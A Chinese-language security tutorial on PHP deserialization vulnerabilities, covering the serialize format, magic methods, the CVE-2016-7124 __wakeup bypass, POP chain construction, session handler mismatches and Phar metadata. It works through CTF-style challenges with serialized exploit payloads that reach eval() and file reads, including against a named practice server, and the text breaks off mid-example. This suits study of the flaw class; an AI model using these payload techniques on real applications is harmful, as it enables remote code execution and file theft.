笔者参考各位师傅的文章自己做的一点点小总结,因笔者本人太菜,可能很多别的反序列化的方面一些漏洞姿势没有概括到,后面碰到再补上吧。如果有什么写的不好的地方,请各位师傅指正,谢谢~
大家肯定都知道json
数据,每组数据使用,
分隔开,数据内使用:
分隔键
和值
$arr = array("No1"=>"m0c1nu7","No2"=>"mochu7","No3"=>"chumo");
echo json_encode($arr);
PS C:\Users\Administrator\Desktop\Test\php> php .\test1.php
{"No1":"m0c1nu7","No2":"mochu7","No3":"chumo"}
可以看到json
数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json
数据,可以通过json_decode()
得到原数据,那么这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化
php从PHP 3.05
开始,为保存、传输对象数据提供了一组序列化函数serialize()
、unserialize()
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原为一个对象
php的序列化也是一个将各种类型的数据,压缩并按照一定的格式进行存储的过程,所使用的函数是serialize()
那么PHP的序列化又是怎样的呢?看下面这个例子:
//test2.php
class People{
public $id;
protected $gender;
private $age;
public function __construct(){
$this->id = 'm0c1nu7';
$this->gender = 'male';
$this->age = '19';
}
}
$a = new People();
echo serialize($a);
?>
PS C:\Users\Administrator\Desktop\Test\php> php .\test2.php
O:6:"People":3:{s:2:"id";s:7:"m0c1nu7";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"19";}
PHP序列化注意以下几点:
序列化只序列属性,不序列方法
- 因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件
- 我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击
a
-array 数组型
b
-boolean 布尔型
d
-double 浮点型
i
-integer 整数型
o
-common object 共同对象
r
-objec reference 对象引用
s
-non-escaped binary string 非转义的二进制字符串
S
-escaped binary string 转义的二进制字符串
C
-custom object 自定义对象
O
-class 对象
N
-null 空
R
-pointer reference 指针引用
U
-unicode string Unicode 编码的字符串
$id
是public
类型、$gender
是protected
类型、$age
是private
类型
从上面的图中可以发现,public
类型的$id
属性序列化结果和另外两个属性的不太一样,这就涉及到不同权限的属性序列化问题
其实我们看图中,主要是属性名的序列化结果不同,属性值还是正常的序列化格式
Public
public
属性就是标准的序列化结果,属性类型:属性名长度:属性名
Protected
protected
属性名序列化结果:s:9:" * gender"
,属性名前有不见字符,用hexdump看一下
可以看到protected
属性序列化之后的属性名前会多出个\00*\00
或者写成%00*%00
Private
private
属性序列结果s:11:" People age"
,用hexdump看一下
可以看到private
属性序列化之后会在属性名前加上类名People
,而且在类名的两侧会加上\00
或者说%00
反序列化就是将序列化格式化存储好的的字符还原成对象的过程
//test1.php
$str = 'O:6:"People":3:{s:2:"id";s:7:"m0c1nu7";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"19";}';
var_dump(unserialize($str));
?>
PS C:\Users\Administrator\Desktop\Test\php> php -f .\test1.php
object(__PHP_Incomplete_Class)#1 (4) {
["__PHP_Incomplete_Class_Name"]=>
string(6) "People"
["id"]=>
string(7) "m0c1nu7"
[" * gender"]=>
string(4) "male"
[" People age"]=>
string(2) "19"
}
PS C:\Users\Administrator\Desktop\Test\php>
来个看网上找的个简单的例子,为了更加凸显漏洞效果我修改了点下代码,看看反序列化是如何控制属性达到漏洞利用的效果的
class Hello
{
public $hello = "Welcome!!!";
private $flag = "echo 'No Way!';";
public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag()
{
return eval($this->flag);
}
}
$data = file_get_contents("serialize.txt");
$data = unserialize($data);
echo $data->hello."
";
echo $data->get_flag();
可以发现漏洞点是set_flag()
使用了外部接受的参数对类内的私有属性$flag
进行了赋值,而get_flag()
又使用了eval()
函数执行了$flag
导致漏洞。漏洞成因看了接下来就是构造POC,只需对set_flag()
传入一个参数即可
class Hello
{
public $hello = "Welcome!!!";
private $flag = "echo 'No Way!';";
public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag()
{
return $this->flag;
}
}
$object = new Hello();
$object->set_flag('phpinfo();');
$data = serialize($object);
这是把$object->set_flag('phpinfo();');
这段代码注释的效果
序列化字符:
O:5:"Hello":2:{s:5:"hello";s:10:"Welcome!!!";s:11:" Hello flag";s:15:"echo 'No Way!';";}
下面这是poc利用效果
序列化字符:
O:5:"Hello":2:{s:5:"hello";s:10:"Welcome!!!";s:11:" Hello flag";s:10:"phpinfo();";}
这里还可以修改其他属性的值,例如:
O:5:"Hello":2:{s:5:"hello";s:17:"Hacker By m0c1nu7";s:11:"Helloflag";s:10:"phpinfo();";}
PHP的序列化与反序列化其实是为了解决一个问题:那就是PHP对象传递
的一个问题
我们都知道PHP对象是存放在内存的堆空间段
上的,PHP文件在执行结束的时候会将对象销毁。
那如果刚好要用到销毁的对象难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化
从上文中可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。
在PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用
__construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set() //在给不可访问属性赋值时触发
__isset() //当对不可访问属性调用 isset() 或 empty() 时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当尝试以调用函数的方式调用一个对象时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
__toString()
这个魔术方法能触发的因素太多,觉得有必要需要列一下:
echo($obj)
/print($obj)
打印时会触发
反序列化对象与字符串连接时
反序列化对象参与格式化字符串时
反序列化对象与字符串进行==
比较时(PHP进行==比较的时候会转换参数类型)
反序列化对象参与格式化SQL语句,绑定参数时
反序列化对象在经过php字符串处理函数,如strlen()
、strops()
、strcmp()
、addslashes()
等
在in_array()
方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()
返回的字符串的时候__toString()
会被调用
反序列化的对象作为class_exists()
的参数的时候
通过个简单的例子来理解一下魔术方法是如何触发的,代码如下:
class M0c1nu7{
private $name = 'M0c1nu7';
function __construct(){
echo "__construct";
echo "\n";
}
function __sleep(){
echo "__sleep";
echo "\n";
return array("name");
}
function __wakeup(){
echo "__wakeup";
echo "\n";
}
function __destruct(){
echo "__destruct";
echo "\n";
}
function __toString(){
return "__toString"."\n";;
}
}
$M0c1nu7_old = new M0c1nu7;
$data = serialize($M0c1nu7_old);
$M0c1nu7_new = unserialize($data);
echo $M0c1nu7_new; //这里使用print也可触发__toString()方法
来看一下运行结果:
PS C:\Users\Administrator\Desktop\Test\php> php -f .\test1.php
__construct
__sleep
__wakeup
__toString
__destruct
__destruct
首先new
实例化了这个类,创建了对象,这就肯定会有一个__construct()
方法和__destruct()
,然后使用了serialize()
和unserialize()
函数就肯定会有__sleep()
方法和__wakeup()
方法,然后又因为使用了echo
或print
这样的把对象输出为一个字符串的操作,所以就触发了__toString()
方法,那么还有另外一个__destruct()
方法是怎触发的呢?其实这个__destruct()
方法时unserialize()
函数反序列化生成的对象销毁的时候触发的,前面已经讲了对象都会在程序执行完成之后销毁
我们都知道反序列化的入口是在unserialize()
,只要参数可控并且这个类在当前作用域存在,我们就能传入任何已经序列化的对象。而不是局限于出现unserialize()
函数的类的对象,如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果你没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击
但是利用魔术方法就可以扩大了攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的
通过下面这个例子再来理解一下魔术方法在反序列漏洞中的作用,代码如下:
class M0c1nu7{
public $M0c1nu7 = 'I am M0c1nu7';
private $test;
function __construct(){
$this->test = new Welcome();
}
function __destruct(){
$this->test->action();
}
}
class Welcome{
function action(){
echo "Welcome to here";
}
}
class Evil{
var $test2;
function action(){
eval($this->test2);
}
}
unserialize($_GET['str']);
?>
首先来分析一下代码,主要是看哪里的属性可控,并且哪里有对象调用方法的操作,我们的目的很清楚,就是要调用Evil
类中的
action()
方法,并且控制Evil
类中的$test2
这个属性。可以看到M0c1nu7
类中的魔术方法__construct
有把对象赋到$teset
属性上,然后在__destruct()
有调用action()
方法的操作,那就这思路就很清晰了,POC如下:
class M0c1nu7{
private $test;
function __construct(){
$this->test = new Evil;
}
}
class Evil{
var $test2 = 'phpinfo();';
}
$M0c1nu7 = new M0c1nu7();
$data = serialize($M0c1nu7);
echo $data;
?>
PS C:\Users\Administrator\Desktop\Test\php> php -f .\test1.php
O:7:"M0c1nu7":1:{s:13:" M0c1nu7 test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
注意:``$test
是私有方法,传入反序列化字符的时候,应该在前面的类名两侧加上%00
,payload如下:
?str=O:7:"M0c1nu7":1:{s:13:"%00M0c1nu7%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
官方给出的影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
笔者使用phpstudy_pro测试出来的影响版本:
PHP5 <= 5.6.9
PHP7 < 7.0.10
通过一道题目来理解一下:
//test.php
class MoChu{
protected $file="test.php";
function __destruct(){
if(!empty($this->file)){
if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
show_source(dirname(__FILE__).'/'.$this->file);
else
die('Worng filename.');
}
}
function __wakeup(){
$this->file = 'test.php';
}
public function __toString(){
return '';
}
}
if(!isset($_GET['file'])){
show_source('test.php');
}else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
echo phpversion();
?>
代码很简单就是原本的功能就是显示源码,主要是这里如何绕过反序列化之后执行的__wakeup()
方法中的$this->file='test.php'
来读取别的文件,这里就是使用CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
//poc.php
class MoChu{
protected $file = 'flag.php';
}
$a = new MoChu();
echo serialize($a);
?>
运行结果:
PS C:\Users\Administrator\Desktop\Test\php> php -f .\test1.php
O:5:"MoChu":1:{s:7:" * file";s:8:"flag.php";}
注意:
file
是protected
类型的属性,反序列化需要在属性名前加上\00*\00
- 这里使用了
\00
就是使用了转义的二进制字符串
,在前面序列化的格式已经提及使用了转义的二进制字符串,符号是要使用大写的S
最终得到的反序列化字符:
O:5:"MoChu":2:{S:7:"\00*\00file";s:8:"flag.php";}
得到的base64:Tzo1OiJNb0NodSI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
可以看到,PHP 5.6.9
虽然报错了,但是还是读出了源码
POP全称Property-Oriented Programing
即面向属性编程
,用于上层语言构造特定调用链的方法,玩pwn的肯定都知道ROP
全称Return-Oriented Progaming
即面向返回编程
POP
和ROP
原理相似,都是从现有的环境中寻找一系列的代码或指令调用,然后根据需求构成一组连续的调用链。在控制代码或程序的执行流程后就能够使用这一组调用链来执行一些操作
在二进制利用时,ROP
链构造中时寻找当前系统环境中或内存环境中已经存在的、具有固定地址且带有返回操作的指令集
而POP
链构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作
二进制中通常是由于内存溢出控制了指令执行流程、而反序列化过程就是控制代码执行流程的方法之一,前提:进行反序列化的数据能够被用于输入所控制
一般序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码在没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP
连寻找相同的函数名将类的属性和敏感函数的属性联系起来
通过下面几道题尝试深入理解一下
POP
链的构造
class C1e4r{
public $test;
public $str;
public function __construct($name){
$this->str = $name;
}
public function __destruct(){
$this->test = $this->str;
echo $this->test;
}
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo $this->source;
}
public function __toString(){
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value){
$this->$key = $value;
}
public function _show(){
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup(){
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test{
public $file;
public $params;
public function __construct(){
$this->params = array();
}
public function __get($key){
return $this->get($key);
}
public function get($key){
if(isset($this->params[$key])){
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value){
$text = base64_encode(file_get_contents($value));
return $text;
}
}
show_source(__FILE__);
$name=unserialize($_GET['strs']);
?>
我们首先确定目标就是Test::file_get()
里面的file_get_contents()
读取文件,可以看到get()
方法中调用了file_get()
方法,接下来看一下哪里有调用get()
,发现在魔术方法__get()
中调用了get()
那么现在的POP链
是:
Test::__get()->Test::get()->Test::file_get()
接下来首先必须知道__get()
的触发条件:读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
,接着看一下哪里触发了魔术方法__get()
,在Show::__toString()
中出现了未定义属性$content
并对其进行赋值,这样就会触发__get()
方法,利用的时候只需把Test
对象赋值给$this->str['str']
,接下来看一下哪里会触发__toString()
方法,在C1e4r:__destruct()
有echo
操作,这样就触发了__toString()
,那么完整的POP链
如下:
Cle4r::str->Show::str['str']->Test::__get->Test::get()::Test::file_get()
构造利用脚本如下:
class C1e4r{
public $test;
public $str;
public function __construct($name){
$this->str = $name;
}
public function __destruct(){
$this->test = $this->str;
echo $this->test;
}
}
class Show{
public $str;
public $source;
public function __toString(){
$content = $this->str['str']->source;
return (string)$content;
}
}
class Test{
public $file;
public $params;
}
$T=new Test();
$T->params=array('source'=>'D:\phpstudy_pro\WWW\Test\flag.php');//这里好像只能使用绝对路径才能读取到
$S=new Show();
$S->str=array('str'=>$T);
$C=new C1e4r($S);
echo serialize($C);
?>
再来看一题,代码如下:
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['str'];
unserialize($a);
?>
这里的POP
链也很简单,首先我们的目标是GetFlag::get_flag()
,在string1::__toString()
调用了get_flag()
,这里把GetFlag
类对象赋值给$str1
即可
func::__invoke()
有字符串和属性拼接的操作,我们只需要将string1
的类对象赋值给$mod1
即可触发__toString()
方法,接着看哪里触发了__invoke()
方法
__invoke():当尝试以调用函数的方式调用一个对象时触发
,funct::__call()
中有$s1()
调用函数方式,而$s1 = $this->mod1;
,所以只需要把func
类对象赋值给$mod1
即可触发__invoke()
,接下来看如何触发__call()
__call():在对象上下文中调用不可访问的方法时触发
,在Call::test1()
存在调用未定义的不可访问方法,将funct
类对象赋值给$mod1
,然后start_gg::__destruct()
调用了Call::test()
,把Call
类对象赋值给$mod1
即可,整个POP
链如下:
start_gg::__destruct()->Call::test1()->funct::__call()->func::__invoke()::string1::__toString()->GetFlag::get_flag()
利用脚本如下:
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//构造start_gg类对象$b
echo urlencode(serialize($b))."
";//显示输出url编码后的序列化对象
反序列化结果字符串:
O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
首先来了解一下什么是
session
?
session
在计算机网络应用中称为会话控制
。创建于服务器端,保存于服务器。session
对象存储特定用户所需的属性及配置信息。简单来说就是一种客户与服务器更为安全的对话方式。一旦开启了session
会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建议一种对话机制
什么是
PHP session
?
PHP session
可以看作是一个特殊的变量,且该变量适用于存储关于用户的会话信息,或者更改用户会话的设置,需要注意的是,PHP session
变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且对应的具体session
值会存储于服务器端,这也是与cookie
的主要区别,所以session
的安全性相对较高
当开始一个会话时,PHP会尝试从请求中查找会话ID,通常是使用cookie
,如果请求包中未发现session id
,PHP就会自动调用php_session_create_id
函数创建一个新的会话,并且在响应包头中通过set-cookie
参数发给客户端保存
当客户端cookie
被禁用的情况下,PHP会自动将session id
添加到url参数
、form
、hidden
字段中,但这需要php.ini
中的session.use_trans_sid
设为开启,也可以在运行时调用ini_set()
函数来设置这个配置项
PHP session会话开始之后,PHP就会将会话中的数据设置到$_SESSION
变量中,当PHP停止运行时,它会自动读取$_SESSION
中的内容,并将其进行序列化
,然后发送给会话保存管理器来进行保存。默认情况下,PHP使用内置的文件会话保存管理器来完成session
的保存,也可以通过配置项session.save_handler
来修改所要采用的会话保存管理器。对于文件会话保存管理器,会将会话数据保存到配置项session.save_path
所指定的位置
session_start();
if (!isset($_SESSION['username'])){
$_SESSION['username'] = 'm0c1nu7';
}
?>
以笔者本地环境的php.ini
例:phpstudy_pro
、PHP 7.4.3
只列出一些关于php session的配置:
session.serialize_handler = php //定义用来session序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同
session.save_path="D:\phpstudy_pro\Extensions\tmp\tmp" //session的存储路径
session.save_handler = files //该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start = 0 //指定会话模块是否在请求开始时启动一个会话,默认值为0不启动
PHP session
的存储机制是由session.serialize_handler
来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid
来决定文件名的,当然这个文件名也不是不变的,如Codeigniter
框架的session
存储的文件名为ci_sessionSESSIONID
session.serialize_handler
定义的引擎共有三种:
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
注:自PHP 5.5.4起可以使用php_serialize
上述三种处理器中,php_serialize
在内部简单地直接使用 serialize/unserialize
函数,并且不会有php
和 php_binary
所具有的限制。 使用较旧的序列化处理器导致$_SESSION
的索引既不能是数字也不能包含特殊字符(|
和 !
)
来看一下三种不同的session
序列化处理器的处理结果
session.serialize_handler = php
,序列化引擎为php
序列化存储格式:键名 + 竖线 + 经过serialize()函数序列化处理的值
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
序列化结果:session|s:7:"m0c1nu7";
session
为$_SESSION['session']
键名,|
后为序列化格式字符串
session.serialize_handler = php_binary
,序列化引擎为php_binary
序列化存储格式:键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['php_binary_sessionsessionsession_hhhhh'] = $_GET['session'];
?>
为了更能直观的体现出格式的差别,因此这里设置了键值长度为38
,38
对应ASCII为&
序列化结果:&php_binary_sessionsessionsession_hhhhhs:7:"m0c1nu7";
session.serialize_handler = php_serialize
,序列化引擎为php_serialize
序列化存储格式:经过serialize()函数序列化处理的数组
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
序列化结果:a:1:{s:7:"session";s:7:"m0c1nu7";}
a:1
表示$_SESSION
数组中有1
个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值
反序列化的各个处理器本身是没有问题的,但是如果php
和php_serialize
这两个处理区混合起来使用,就会出现session
反序列化漏洞。原因是php_serialize
存储的反序列化字符可以引用|
,如果这时候使用php
处理器的格式取出$_SESSION
的值,|
会被当成键值对的分隔符
,在特定的地方会造成反序列化漏洞
举个简单的例子
定义一个session.php
,用于传入session
的值
//session.php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
首先看一下session
的内容
a:1:{s:7:"session";s:10:"helloworld";}
再定义一个class.php
//class.php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class Hello{
public $name = 'mochu';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo "
".$this->name;
}
}
$str = new Hello();
?>
访问该页面回显以下内容:
实例化对象之后回显mochu
session.php
文件处理器是php_serialize
,class.php
文件的处理器是php
,session.php
文件的作用是传入可控的session
值,class.php
文件的作用是在反序列化开始触发__wakeup
方法的内容,反序列化结束的时候触发__destruct()
方法
漏洞利用就是在session.php
的可控点传入|
+序列化字符串
,然后再次访问class.php
调用session
值的时候会触发
利用脚本如下:
class Hello{
public $name;
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '
'.$this->name;
}
}
$str = new Hello();
$str->name = "m0c1nu7";
echo serialize($str);
?>
传入session.php
的payload:|O:5:"Hello":1:{s:4:"name";s:7:"m0c1nu7";}
查看存储的session
a:1:{s:7:"session";s:42:"|O:5:"Hello":1:{s:4:"name";s:7:"m0c1nu7";}";}
然后再次访问class.php
可以发现如果程序中设置了不同的session
序列化引擎,通过控制session
传入点,攻击者可以把构造好的序列化字符串拼接进session
存储文件中,当再次调用session
时触发并反序列化导致形成漏洞
笔者本地测试的时候没有复现成功,不知道原因(如果你本地复现成功,麻烦评论区指教一下,谢谢)所以还是别人原来的题目环境吧
题目地址:http://web.jarvisoj.com:32784/index.php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('sessiontest.php'));
}
?>
代码很简单就不解读了,先看一下phpinfo()
的信息,先查看一下session.serialize_handler
php.ini
中使用的引擎是php_serialize
,而程序中使用的引擎是php
,这就导致session
在序列化
和反序列化
使用的引擎不同,接下来来看看这个选项
PHP手册
Session 上传进度
当session.upload_progress.enabled
INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量时,上传进度可以在$_SESSION
中获得。 当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值
构造POST
表单,提交传入序列化字符串
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="m0c1nu7" />
<input type="file" name="file" />
<input type="submit" />
form>
构造利用脚本
class OowoO
{
public $mdzz='echo(dirname(__FILE__));';
}
$obj = new OowoO();
$a = serialize($obj);
echo $a;
?>
运行结果:
PS D:\phpstudy_pro\WWW\Test> php -f .\test7.php
O:5:"OowoO":1:{s:4:"mdzz";s:24:"echo(dirname(__FILE__));";}
将序列化结果使用符号|
进行拼接到服务器中的session
序列化保存文件中
因为要放到filename
中的双引号中,所以这里转义一下双引号:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:24:\"echo(dirname(__FILE__));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:37:\"var_dump(scandir(dirname(__FILE__)));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
再来看安恒杯的一道题,但是本地还是无法复现成功,看一下解题过程吧:
//test.php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "
文件".$this->varr."存在
";
}
echo "
这是foo1的析构函数
";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __destruct(){
echo "
这是foo2的析构函数
";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __destruct(){
echo "
这是foo3的析构函数
";
}
}
?>
//index.php
ini_set('session.serialize_handler', 'php');
require("./test.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
首先来分析一下代码把,目标是调用foo3::execute()
,然后在foo2::__toString()
中调用了execute()
,那就把foo3
的类对象赋值给foo2:$obj
,然后再看一下哪里触发了__toString()
,可以发现在foo1:__destruct()
有使用echo
将对象输出为字符的操作,这里会触发__toString()
,把foo2
类对象赋值给foo1:$varr
POP
链为:foo1::__destruct()->foo2::__toString()->foo3::execute()
class foo3{
public $varr='echo "spoock";';
function execute(){
eval($this->varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
$obj = new foo1();
print_r(serialize($obj));
?>
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
写入方式主要是利用PHP中Session Upload Progress
来进行设置,提交一个名为PHP_SESSION_UPLOAD_PROGRESS
的变量,就可以将filename
的值赋到session
中
<form action="index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="m0c1nu7" />
<input type="file" name="file" />
<input type="submit" />
form>
抓包修改filename
即可,注意在开头添加符号|
以及双引号转义,最终payload:
|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:10:\"1234567890\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:14:\"echo \"spoock\";\";}}}
因为最终无法本地复现达到效果,就不演示了,原理就是这样
Phar:Php archive
Phar(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源捆绑到一个归档文件中来实现应用程序和库的分发,类似于JAVA JAR的一种打包文件,自PHP 5.3.0
起,PHP默认开启对后缀为.phar
的文件的支持
官方解释(译文):
phar
扩展提供了一种将整个PHP应用程序放入称为phar(php归档文件)
的单个文件中的方法,以便于分发和安装。除了提供此服务之外,phar
扩展还提供了一种文件格式抽象方法,用于通过PharData
类创建和处理tar
和zip
文件
Phar
存档最有特色的特点是它是将多个文件分组为一个文件的便捷方法。这样,phar
存档提供了一种将完整的PHP
应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中,此外PHP可以像在命令行上和从web服务器上的任何其他文件一样轻松地执行phar存档。Phar
有点像PHP应用程序的拇指驱动器
Phar
文件缺省状态是只读的,使用Phar
文件不需要任何的配置。部署非常方便。因为我们现在需要创建一个自己的Phar
文件,所以需要允许写入Phar
文件,这需要修改一下php.ini
,在php.ini
文件末尾添加下面这段即可
[phar]
phar.readonly = 0
- a stub
存根,也可以理解为Phar文件的标识,要求phar
文件必须以__HALT_COMPILER();?>
结尾,否则无法被phar扩展
识别为phar
文件
- a mainifest describing the contents
前面提到过,phar
是一种压缩打包的文件格式,这部分用来存储压缩文件的权限、属性等信息,并且以序列化
格式存储用户自定义的meta-data
,这里也是反序列化攻击利用的核心
- the file contents
这部分是压缩的文件具体内容
- [optional] a signature for verifying Phar integrity (phar file format only)
phar
在压缩文件包时,会以序列化的形式存储用户自定义的meta-data
,配合phar://
就能一些函数等参数可控的情况下实现自动反序列化操作,于是攻击者就可以精心构造phar
包在没有unserialize()
的情况下实现自动反序列化攻击,从而很大的拓展了反序列化漏洞的攻击面
受影响函数列表 | |||
---|---|---|---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fikeperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
先看一个小小的Demo
,如何创建一个合法的phar压缩文件
class TestObject{
}
@unlink("test.phar");
